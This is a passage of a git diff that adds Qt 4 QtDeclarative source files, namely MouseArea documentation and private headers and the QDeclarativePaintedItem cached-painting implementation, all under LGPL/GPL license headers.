+ \qmlproperty real MouseArea::drag.maximumY
+ \qmlproperty bool MouseArea::drag.filterChildren
+
+ \c drag provides a convenient way to make an item draggable.
+
+ \list
+ \i \c drag.target specifies the id of the item to drag.
+ \i \c drag.active specifies if the target item is currently being dragged.
+ \i \c drag.axis specifies whether dragging can be done horizontally (\c Drag.XAxis), vertically (\c Drag.YAxis), or both (\c Drag.XandYAxis)
+ \i \c drag.minimum and \c drag.maximum limit how far the target can be dragged along the corresponding axes.
+ \endlist
+
+ The following example displays a \l Rectangle that can be dragged along the X-axis. The opacity
+ of the rectangle is reduced when it is dragged to the right.
+
+ \snippet doc/src/snippets/declarative/mousearea/mousearea.qml drag
+
+ \note Items cannot be dragged if they are anchored for the requested
+ \c drag.axis. For example, if \c anchors.left or \c anchors.right was set
+ for \c rect in the above example, it cannot be dragged along the X-axis.
+ This can be avoided by settng the anchor value to \c undefined in
+ an \l onPressed handler.
+
+ If \c drag.filterChildren is set to true, a drag can override descendant MouseAreas. This
+ enables a parent MouseArea to handle drags, for example, while descendants handle clicks:
+
+ \snippet doc/src/snippets/declarative/mousearea/mouseareadragfilter.qml dragfilter
+
+*/
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativemousearea_p.h b/src/declarative/graphicsitems/qdeclarativemousearea_p.h
new file mode 100644
index 00000000..23795907
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativemousearea_p.h
@@ -0,0 +1,218 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEMOUSEAREA_H
+#define QDECLARATIVEMOUSEAREA_H
+
+#include "qdeclarativeitem.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_AUTOTEST_EXPORT QDeclarativeDrag : public QObject
+{
+ Q_OBJECT
+
+ Q_ENUMS(Axis)
+ Q_PROPERTY(QGraphicsObject *target READ target WRITE setTarget NOTIFY targetChanged RESET resetTarget)
+ Q_PROPERTY(Axis axis READ axis WRITE setAxis NOTIFY axisChanged)
+ Q_PROPERTY(qreal minimumX READ xmin WRITE setXmin NOTIFY minimumXChanged)
+ Q_PROPERTY(qreal maximumX READ xmax WRITE setXmax NOTIFY maximumXChanged)
+ Q_PROPERTY(qreal minimumY READ ymin WRITE setYmin NOTIFY minimumYChanged)
+ Q_PROPERTY(qreal maximumY READ ymax WRITE setYmax NOTIFY maximumYChanged)
+ Q_PROPERTY(bool active READ active NOTIFY activeChanged)
+ Q_PROPERTY(bool filterChildren READ filterChildren WRITE setFilterChildren NOTIFY filterChildrenChanged)
+ //### consider drag and drop
+
+public:
+ QDeclarativeDrag(QObject *parent=0);
+ ~QDeclarativeDrag();
+
+ QGraphicsObject *target() const;
+ void setTarget(QGraphicsObject *);
+ void resetTarget();
+
+ enum Axis { XAxis=0x01, YAxis=0x02, XandYAxis=0x03 };
+ Axis axis() const;
+ void setAxis(Axis);
+
+ qreal xmin() const;
+ void setXmin(qreal);
+ qreal xmax() const;
+ void setXmax(qreal);
+ qreal ymin() const;
+ void setYmin(qreal);
+ qreal ymax() const;
+ void setYmax(qreal);
+
+ bool active() const;
+ void setActive(bool);
+
+ bool filterChildren() const;
+ void setFilterChildren(bool);
+
+Q_SIGNALS:
+ void targetChanged();
+ void axisChanged();
+ void minimumXChanged();
+ void maximumXChanged();
+ void minimumYChanged();
+ void maximumYChanged();
+ void activeChanged();
+ void filterChildrenChanged();
+
+private:
+ QGraphicsObject *_target;
+ Axis _axis;
+ qreal _xmin;
+ qreal _xmax;
+ qreal _ymin;
+ qreal _ymax;
+ bool _active : 1;
+ bool _filterChildren: 1;
+ Q_DISABLE_COPY(QDeclarativeDrag)
+};
+
+class QDeclarativeMouseEvent;
+class QDeclarativeMouseAreaPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeMouseArea : public QDeclarativeItem
+{
+ Q_OBJECT
+
+ Q_PROPERTY(qreal mouseX READ mouseX NOTIFY mousePositionChanged)
+ Q_PROPERTY(qreal mouseY READ mouseY NOTIFY mousePositionChanged)
+ Q_PROPERTY(bool containsMouse READ hovered NOTIFY hoveredChanged)
+ Q_PROPERTY(bool pressed READ pressed NOTIFY pressedChanged)
+ Q_PROPERTY(bool enabled READ isEnabled WRITE setEnabled NOTIFY enabledChanged)
+ Q_PROPERTY(Qt::MouseButtons pressedButtons READ pressedButtons NOTIFY pressedChanged)
+ Q_PROPERTY(Qt::MouseButtons acceptedButtons READ acceptedButtons WRITE setAcceptedButtons NOTIFY acceptedButtonsChanged)
+ Q_PROPERTY(bool hoverEnabled READ hoverEnabled WRITE setHoverEnabled NOTIFY hoverEnabledChanged)
+ Q_PROPERTY(QDeclarativeDrag *drag READ drag CONSTANT) //### add flicking to QDeclarativeDrag or add a QDeclarativeFlick ???
+ Q_PROPERTY(bool preventStealing READ preventStealing WRITE setPreventStealing NOTIFY preventStealingChanged REVISION 1)
+
+public:
+ QDeclarativeMouseArea(QDeclarativeItem *parent=0);
+ ~QDeclarativeMouseArea();
+
+ qreal mouseX() const;
+ qreal mouseY() const;
+
+ bool isEnabled() const;
+ void setEnabled(bool);
+
+ bool hovered() const;
+ bool pressed() const;
+
+ Qt::MouseButtons pressedButtons() const;
+
+ Qt::MouseButtons acceptedButtons() const;
+ void setAcceptedButtons(Qt::MouseButtons buttons);
+
+ bool hoverEnabled() const;
+ void setHoverEnabled(bool h);
+
+ QDeclarativeDrag *drag();
+
+ bool preventStealing() const;
+ void setPreventStealing(bool prevent);
+
+Q_SIGNALS:
+ void hoveredChanged();
+ void pressedChanged();
+ void enabledChanged();
+ void acceptedButtonsChanged();
+ void hoverEnabledChanged();
+ void positionChanged(QDeclarativeMouseEvent *mouse);
+ void mousePositionChanged(QDeclarativeMouseEvent *mouse);
+ Q_REVISION(1) void preventStealingChanged();
+
+ void pressed(QDeclarativeMouseEvent *mouse);
+ void pressAndHold(QDeclarativeMouseEvent *mouse);
+ void released(QDeclarativeMouseEvent *mouse);
+ void clicked(QDeclarativeMouseEvent *mouse);
+ void doubleClicked(QDeclarativeMouseEvent *mouse);
+ void entered();
+ void exited();
+ void canceled();
+
+protected:
+ void setHovered(bool);
+ bool setPressed(bool);
+
+ void mousePressEvent(QGraphicsSceneMouseEvent *event);
+ void mouseReleaseEvent(QGraphicsSceneMouseEvent *event);
+ void mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event);
+ void mouseMoveEvent(QGraphicsSceneMouseEvent *event);
+ void hoverEnterEvent(QGraphicsSceneHoverEvent *event);
+ void hoverMoveEvent(QGraphicsSceneHoverEvent *event);
+ void hoverLeaveEvent(QGraphicsSceneHoverEvent *event);
+#ifndef QT_NO_CONTEXTMENU
+ void contextMenuEvent(QGraphicsSceneContextMenuEvent *event);
+#endif // QT_NO_CONTEXTMENU
+ bool sceneEvent(QEvent *);
+ bool sendMouseEvent(QGraphicsSceneMouseEvent *event);
+ bool sceneEventFilter(QGraphicsItem *i, QEvent *e);
+ void timerEvent(QTimerEvent *event);
+
+ virtual void geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry);
+ virtual QVariant itemChange(GraphicsItemChange change, const QVariant& value);
+
+private:
+ void handlePress();
+ void handleRelease();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeMouseArea)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeMouseArea)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeDrag)
+QML_DECLARE_TYPE(QDeclarativeMouseArea)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEMOUSEAREA_H
diff --git a/src/declarative/graphicsitems/qdeclarativemousearea_p_p.h b/src/declarative/graphicsitems/qdeclarativemousearea_p_p.h
new file mode 100644
index 00000000..00c6eed8
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativemousearea_p_p.h
@@ -0,0 +1,128 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEMOUSEREGION_P_H
+#define QDECLARATIVEMOUSEREGION_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeitem_p.h"
+
+#include <qdatetime.h>
+#include <qbasictimer.h>
+#include <qgraphicssceneevent.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeMouseAreaPrivate : public QDeclarativeItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeMouseArea)
+
+public:
+ QDeclarativeMouseAreaPrivate()
+ : absorb(true), hovered(false), pressed(false), longPress(false),
+ moved(false), stealMouse(false), doubleClick(false), preventStealing(false), drag(0)
+ {
+ }
+
+ ~QDeclarativeMouseAreaPrivate();
+
+ void init()
+ {
+ Q_Q(QDeclarativeMouseArea);
+ q->setAcceptedMouseButtons(Qt::LeftButton);
+ q->setFiltersChildEvents(true);
+ }
+
+ void saveEvent(QGraphicsSceneMouseEvent *event) {
+ lastPos = event->pos();
+ lastScenePos = event->scenePos();
+ lastButton = event->button();
+ lastButtons = event->buttons();
+ lastModifiers = event->modifiers();
+ }
+
+ bool isPressAndHoldConnected() {
+ Q_Q(QDeclarativeMouseArea);
+ static int idx = QObjectPrivate::get(q)->signalIndex("pressAndHold(QDeclarativeMouseEvent*)");
+ return QObjectPrivate::get(q)->isSignalConnected(idx);
+ }
+
+ bool isDoubleClickConnected() {
+ Q_Q(QDeclarativeMouseArea);
+ static int idx = QObjectPrivate::get(q)->signalIndex("doubleClicked(QDeclarativeMouseEvent*)");
+ return QObjectPrivate::get(q)->isSignalConnected(idx);
+ }
+
+ bool absorb : 1;
+ bool hovered : 1;
+ bool pressed : 1;
+ bool longPress : 1;
+ bool moved : 1;
+ bool dragX : 1;
+ bool dragY : 1;
+ bool stealMouse : 1;
+ bool doubleClick : 1;
+ bool preventStealing : 1;
+ QDeclarativeDrag *drag;
+ QPointF startScene;
+ qreal startX;
+ qreal startY;
+ QPointF lastPos;
+ QDeclarativeNullableValue<QPointF> lastScenePos;
+ Qt::MouseButton lastButton;
+ Qt::MouseButtons lastButtons;
+ Qt::KeyboardModifiers lastModifiers;
+ QBasicTimer pressAndHoldTimer;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEMOUSEREGION_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativepainteditem.cpp b/src/declarative/graphicsitems/qdeclarativepainteditem.cpp
new file mode 100644
index 00000000..ecf072dc
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepainteditem.cpp
@@ -0,0 +1,497 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativepainteditem_p.h"
+#include "private/qdeclarativepainteditem_p_p.h"
+
+#include <QDebug>
+#include <QPen>
+#include <QEvent>
+#include <QApplication>
+#include <QGraphicsSceneMouseEvent>
+#include <QPainter>
+#include <QPaintEngine>
+#include <qmath.h>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \class QDeclarativePaintedItem
+ \brief The QDeclarativePaintedItem class is an abstract base class for QDeclarativeView items that want cached painting.
+ \internal
+
+ This is a convenience class for implementing items that cache their painting.
+ The contents of the item are cached behind the scenes.
+ The dirtyCache() function should be called if the contents change to
+ ensure the cache is refreshed the next time painting occurs.
+
+ To subclass QDeclarativePaintedItem, you must reimplement drawContents() to draw
+ the contents of the item.
+*/
+
+/*!
+ \fn void QDeclarativePaintedItem::drawContents(QPainter *painter, const QRect &rect)
+
+ This function is called when the cache needs to be refreshed. When
+ sub-classing QDeclarativePaintedItem this function should be implemented so as to
+ paint the contents of the item using the given \a painter for the
+ area of the contents specified by \a rect.
+*/
+
+/*!
+ \property QDeclarativePaintedItem::contentsSize
+ \brief The size of the contents
+
+ The contents size is the size of the item in regards to how it is painted
+ using the drawContents() function. This is distinct from the size of the
+ item in regards to height() and width().
+*/
+
+// XXX bug in WebKit - can call repaintRequested and other cache-changing functions from within render!
+static int inpaint=0;
+static int inpaint_clearcache=0;
+
+extern Q_GUI_EXPORT bool qt_applefontsmoothing_enabled;
+
+/*!
+ Marks areas of the cache that intersect with the given \a rect as dirty and
+ in need of being refreshed.
+
+ \sa clearCache()
+*/
+void QDeclarativePaintedItem::dirtyCache(const QRect& rect)
+{
+ Q_D(QDeclarativePaintedItem);
+ QRect srect(qCeil(rect.x()*d->contentsScale),
+ qCeil(rect.y()*d->contentsScale),
+ qCeil(rect.width()*d->contentsScale),
+ qCeil(rect.height()*d->contentsScale));
+ for (int i=0; i < d->imagecache.count(); ) {
+ QDeclarativePaintedItemPrivate::ImageCacheItem *c = d->imagecache[i];
+ QRect isect = (c->area & srect) | c->dirty;
+ if (isect == c->area && !inpaint) {
+ delete d->imagecache.takeAt(i);
+ } else {
+ c->dirty = isect;
+ ++i;
+ }
+ }
+}
+
+/*!
+ Marks the entirety of the contents cache as dirty.
+
+ \sa dirtyCache()
+*/
+void QDeclarativePaintedItem::clearCache()
+{
+ if (inpaint) {
+ inpaint_clearcache=1;
+ return;
+ }
+ Q_D(QDeclarativePaintedItem);
+ qDeleteAll(d->imagecache);
+ d->imagecache.clear();
+}
+
+/*!
+ Returns the size of the contents.
+
+ \sa setContentsSize()
+*/
+QSize QDeclarativePaintedItem::contentsSize() const
+{
+ Q_D(const QDeclarativePaintedItem);
+ return d->contentsSize;
+}
+
+/*!
+ Sets the size of the contents to the given \a size.
+
+ \sa contentsSize()
+*/
+void QDeclarativePaintedItem::setContentsSize(const QSize &size)
+{
+ Q_D(QDeclarativePaintedItem);
+ if (d->contentsSize == size) return;
+ prepareGeometryChange();
+ d->contentsSize = size;
+ clearCache();
+ update();
+ emit contentsSizeChanged();
+}
+
+qreal QDeclarativePaintedItem::contentsScale() const
+{
+ Q_D(const QDeclarativePaintedItem);
+ return d->contentsScale;
+}
+
+void QDeclarativePaintedItem::setContentsScale(qreal scale)
+{
+ Q_D(QDeclarativePaintedItem);
+ if (d->contentsScale == scale) return;
+ d->contentsScale = scale;
+ clearCache();
+ update();
+ emit contentsScaleChanged();
+}
+
+
+/*!
+ Constructs a new QDeclarativePaintedItem with the given \a parent.
+*/
+QDeclarativePaintedItem::QDeclarativePaintedItem(QDeclarativeItem *parent)
+ : QDeclarativeItem(*(new QDeclarativePaintedItemPrivate), parent)
+{
+}
+
+/*!
+ \internal
+ Constructs a new QDeclarativePaintedItem with the given \a parent and
+ initialized private data member \a dd.
+*/
+QDeclarativePaintedItem::QDeclarativePaintedItem(QDeclarativePaintedItemPrivate &dd, QDeclarativeItem *parent)
+ : QDeclarativeItem(dd, parent)
+{
+}
+
+/*!
+ Destroys the image item.
+*/
+QDeclarativePaintedItem::~QDeclarativePaintedItem()
+{
+ clearCache();
+}
+
+void QDeclarativePaintedItem::geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry)
+{
+ if (newGeometry.width() != oldGeometry.width() ||
+ newGeometry.height() != oldGeometry.height())
+ clearCache();
+
+ QDeclarativeItem::geometryChanged(newGeometry, oldGeometry);
+}
+
+QVariant QDeclarativePaintedItem::itemChange(GraphicsItemChange change,
+ const QVariant &value)
+{
+ if (change == ItemVisibleHasChanged)
+ clearCache();
+
+ return QDeclarativeItem::itemChange(change, value);
+}
+
+void QDeclarativePaintedItem::setCacheFrozen(bool frozen)
+{
+ Q_D(QDeclarativePaintedItem);
+ if (d->cachefrozen == frozen)
+ return;
+ d->cachefrozen = frozen;
+ // XXX clear cache?
+}
+
+QRectF QDeclarativePaintedItem::boundingRect() const
+{
+ Q_D(const QDeclarativePaintedItem);
+ qreal w = d->mWidth;
+ QSizeF sz = d->contentsSize * d->contentsScale;
+ if (w < sz.width())
+ w = sz.width();
+ qreal h = d->mHeight;
+ if (h < sz.height())
+ h = sz.height();
+ return QRectF(0.0,0.0,w,h);
+}
+
+/*!
+ \internal
+*/
+void QDeclarativePaintedItem::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ Q_D(QDeclarativePaintedItem);
+ const QRect content = boundingRect().toRect();
+ if (content.width() <= 0 || content.height() <= 0)
+ return;
+
+ ++inpaint;
+
+ const QTransform &x = p->deviceTransform();
+ QTransform xinv = x.inverted();
+ QRegion effectiveClip;
+ QRegion sysClip = p->paintEngine()->systemClip();
+ if (xinv.type() <= QTransform::TxScale && sysClip.numRects() < 5) {
+ // simple transform, region gets no more complicated...
+ effectiveClip = xinv.map(sysClip);
+ } else {
+ // do not make complicated regions...
+ effectiveClip = xinv.mapRect(sysClip.boundingRect());
+ }
+
+ QRegion topaint = p->clipRegion();
+ if (topaint.isEmpty()) {
+ if (effectiveClip.isEmpty())
+ topaint = QRect(0,0,p->device()->width(),p->device()->height());
+ else
+ topaint = effectiveClip;
+ } else if (!effectiveClip.isEmpty()) {
+ topaint &= effectiveClip;
+ }
+
+ topaint &= content;
+ QRegion uncached(content);
+ p->setRenderHints(QPainter::SmoothPixmapTransform, d->smooth);
+
+ int cachesize=0;
+ for (int i=0; i<d->imagecache.count(); ++i) {
+ QRect area = d->imagecache[i]->area;
+ if (topaint.contains(area)) {
+ QRectF target(area.x(), area.y(), area.width(), area.height());
+ if (!d->cachefrozen) {
+ if (!d->imagecache[i]->dirty.isNull() && topaint.contains(d->imagecache[i]->dirty)) {
+#ifdef Q_WS_MAC
+ bool oldSmooth = qt_applefontsmoothing_enabled;
+ qt_applefontsmoothing_enabled = false;
+#endif
+ QPainter qp(&d->imagecache[i]->image);
+#ifdef Q_WS_MAC
+ qt_applefontsmoothing_enabled = oldSmooth;
+#endif
+ qp.setRenderHints(QPainter::HighQualityAntialiasing | QPainter::TextAntialiasing | QPainter::SmoothPixmapTransform, d->smoothCache);
+ qp.translate(-area.x(), -area.y());
+ qp.scale(d->contentsScale,d->contentsScale);
+ QRect clip = d->imagecache[i]->dirty;
+ QRect sclip(qFloor(clip.x()/d->contentsScale),
+ qFloor(clip.y()/d->contentsScale),
+ qCeil(clip.width()/d->contentsScale+clip.x()/d->contentsScale-qFloor(clip.x()/d->contentsScale)),
+ qCeil(clip.height()/d->contentsScale+clip.y()/d->contentsScale-qFloor(clip.y()/d->contentsScale)));
+ qp.setClipRect(sclip);
+ if (d->fillColor.isValid()){
+ if(d->fillColor.alpha() < 255){
+ // ### Might not work outside of raster paintengine
+ QPainter::CompositionMode prev = qp.compositionMode();
+ qp.setCompositionMode(QPainter::CompositionMode_Source);
+ qp.fillRect(sclip,d->fillColor);
+ qp.setCompositionMode(prev);
+ }else{
+ qp.fillRect(sclip,d->fillColor);
+ }
+ }
+ drawContents(&qp, sclip);
+ d->imagecache[i]->dirty = QRect();
+ }
+ }
+ p->drawPixmap(target.toRect(), d->imagecache[i]->image);
+ topaint -= area;
+ d->imagecache[i]->age=0;
+ } else {
+ d->imagecache[i]->age++;
+ }
+ cachesize += area.width()*area.height();
+ uncached -= area;
+ }
+
+ if (!topaint.isEmpty()) {
+ if (!d->cachefrozen) {
+ // Find a sensible larger area, otherwise will paint lots of tiny images.
+ QRect biggerrect = topaint.boundingRect().adjusted(-64,-64,128,128);
+ cachesize += biggerrect.width() * biggerrect.height();
+ while (d->imagecache.count() && cachesize > d->max_imagecache_size) {
+ int oldest=-1;
+ int age=-1;
+ for (int i=0; i<d->imagecache.count(); ++i) {
+ int a = d->imagecache[i]->age;
+ if (a > age) {
+ oldest = i;
+ age = a;
+ }
+ }
+ cachesize -= d->imagecache[oldest]->area.width()*d->imagecache[oldest]->area.height();
+ uncached += d->imagecache[oldest]->area;
+ delete d->imagecache.takeAt(oldest);
+ }
+ const QRegion bigger = QRegion(biggerrect) & uncached;
+ const QVector<QRect> rects = bigger.rects();
+ for (int i = 0; i < rects.count(); ++i) {
+ const QRect &r = rects.at(i);
+ QPixmap img(r.size());
+ if (d->fillColor.isValid())
+ img.fill(d->fillColor);
+ {
+#ifdef Q_WS_MAC
+ bool oldSmooth = qt_applefontsmoothing_enabled;
+ qt_applefontsmoothing_enabled = false;
+#endif
+ QPainter qp(&img);
+#ifdef Q_WS_MAC
+ qt_applefontsmoothing_enabled = oldSmooth;
+#endif
+ qp.setRenderHints(QPainter::HighQualityAntialiasing | QPainter::TextAntialiasing | QPainter::SmoothPixmapTransform, d->smoothCache);
+
+ qp.translate(-r.x(),-r.y());
+ qp.scale(d->contentsScale,d->contentsScale);
+ QRect sclip(qFloor(r.x()/d->contentsScale),
+ qFloor(r.y()/d->contentsScale),
+ qCeil(r.width()/d->contentsScale+r.x()/d->contentsScale-qFloor(r.x()/d->contentsScale)),
+ qCeil(r.height()/d->contentsScale+r.y()/d->contentsScale-qFloor(r.y()/d->contentsScale)));
+ drawContents(&qp, sclip);
+ }
+ QDeclarativePaintedItemPrivate::ImageCacheItem *newitem = new QDeclarativePaintedItemPrivate::ImageCacheItem;
+ newitem->area = r;
+ newitem->image = img;
+ d->imagecache.append(newitem);
+ p->drawPixmap(r, newitem->image);
+ }
+ } else {
+ const QVector<QRect> rects = uncached.rects();
+ for (int i = 0; i < rects.count(); ++i)
+ p->fillRect(rects.at(i), Qt::lightGray);
+ }
+ }
+
+ if (inpaint_clearcache) {
+ clearCache();
+ inpaint_clearcache = 0;
+ }
+
+ --inpaint;
+}
+
+/*!
+ \qmlproperty int PaintedItem::pixelCacheSize
+
+ This property holds the maximum number of pixels of image cache to
+ allow. The default is 0.1 megapixels. The cache will not be larger
+ than the (unscaled) size of the WebView.
+*/
+/*!
+ \property QDeclarativePaintedItem::pixelCacheSize
+
+ The maximum number of pixels of image cache to allow. The default
+ is 0.1 megapixels. The cache will not be larger than the (unscaled)
+ size of the QDeclarativePaintedItem.
+*/
+int QDeclarativePaintedItem::pixelCacheSize() const
+{
+ Q_D(const QDeclarativePaintedItem);
+ return d->max_imagecache_size;
+}
+
+void QDeclarativePaintedItem::setPixelCacheSize(int pixels)
+{
+ Q_D(QDeclarativePaintedItem);
+ if (pixels < d->max_imagecache_size) {
+ int cachesize=0;
+ for (int i=0; i<d->imagecache.count(); ++i) {
+ QRect area = d->imagecache[i]->area;
+ cachesize += area.width()*area.height();
+ }
+ while (d->imagecache.count() && cachesize > pixels) {
+ int oldest=-1;
+ int age=-1;
+ for (int i=0; i<d->imagecache.count(); ++i) {
+ int a = d->imagecache[i]->age;
+ if (a > age) {
+ oldest = i;
+ age = a;
+ }
+ }
+ cachesize -= d->imagecache[oldest]->area.width()*d->imagecache[oldest]->area.height();
+ delete d->imagecache.takeAt(oldest);
+ }
+ }
+ d->max_imagecache_size = pixels;
+}
+
+
+
+/*!
+ \property QDeclarativePaintedItem::fillColor
+
+ The color to be used to fill the item prior to calling drawContents().
+ By default, this is Qt::transparent.
+
+ Performance improvements can be achieved if subclasses call this with either an
+ invalid color (QColor()), or an appropriate solid color.
+*/
+void QDeclarativePaintedItem::setFillColor(const QColor& c)
+{
+ Q_D(QDeclarativePaintedItem);
+ if (d->fillColor == c)
+ return;
+ d->fillColor = c;
+ emit fillColorChanged();
+ update();
+}
+
+QColor QDeclarativePaintedItem::fillColor() const
+{
+ Q_D(const QDeclarativePaintedItem);
+ return d->fillColor;
+}
+
+/*!
+ \qmlproperty bool PaintedItem::smoothCache
+
+ Controls whether the cached tiles of which the item is composed are
+ rendered smoothly when they are generated.
+
+ This is in addition toe Item::smooth, which controls the smooth painting of
+ the already-painted cached tiles under transformation.
+*/
+bool QDeclarativePaintedItem::smoothCache() const
+{
+ Q_D(const QDeclarativePaintedItem);
+ return d->smoothCache;
+}
+
+void QDeclarativePaintedItem::setSmoothCache(bool on)
+{
+ Q_D(QDeclarativePaintedItem);
+ if (d->smoothCache != on) {
+ d->smoothCache = on;
+ clearCache();
+ }
+}
+
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativepainteditem_p.h b/src/declarative/graphicsitems/qdeclarativepainteditem_p.h
new file mode 100644
index 00000000..c0b2e88b
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepainteditem_p.h
@@ -0,0 +1,118 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEIMAGEITEM_H
+#define QDECLARATIVEIMAGEITEM_H
+
+#include "qdeclarativeitem.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativePaintedItemPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativePaintedItem : public QDeclarativeItem
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QSize contentsSize READ contentsSize WRITE setContentsSize NOTIFY contentsSizeChanged)
+ Q_PROPERTY(QColor fillColor READ fillColor WRITE setFillColor NOTIFY fillColorChanged)
